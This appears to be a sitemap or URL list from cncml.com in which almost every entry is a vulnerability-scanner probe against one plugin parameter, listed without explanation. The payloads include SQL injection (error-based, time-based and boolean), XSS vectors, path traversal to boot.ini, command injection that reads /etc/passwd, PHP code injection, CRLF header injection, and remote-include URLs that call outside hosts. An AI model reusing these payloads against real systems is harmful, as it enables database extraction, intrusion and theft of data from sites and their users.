http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch,(SELECT%20(CASE%20WHEN%20(66=49)%20THEN%200x636C6F7564736561726368%20ELSE%2066*(SELECT%2066%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch,(SELECT%20(CASE%20WHEN%20(96=11)%20THEN%200x636C6F7564736561726368%20ELSE%2096*(SELECT%2096%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch1 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch6633x3X6 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearchAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearchAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearchJyI%3D 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearcha' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearchalert(42873) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearche360 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=dir 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=file:///c:/boot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=phpinfo 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=response.write(9412458*9542755) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=set%7Cset&set 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=%3Cdir 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=');print(md5(1122));// 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=(SELECT%20(CASE%20WHEN%20(81=26)%20THEN%200x636C6F7564736561726368%20ELSE%2081*(SELECT%2081%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=................windowswin.ini 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=;print(md5(1122));%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=C:%5Cboot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch 0.0014 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%00' 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%20 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%25%27%29%20AND%2042%3D51%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%25'%20AND%2054=85%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(73=77)%20THEN%20'cloudsearch'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%2527 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%2527%20AND%2036=45%20%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%5B%5D 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%5C%22 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%5C' 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch%bf%27 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch' 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'%20AND%20'j1'='xn 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'%20OR%20'Kf'='Kf'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(86=26)%20THEN%20'cloudsearch'%20ELSE%200x28%20END))%20AND%20'Oi'='Oi 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'%22 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch')%20AND%2012=26%20AND%20('F7'='F7 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(71=32)%20THEN%20'cloudsearch'%20ELSE%200x28%20END))%20AND%20('VH'='VH 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch';%20IF(47=55)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch) 0.0001 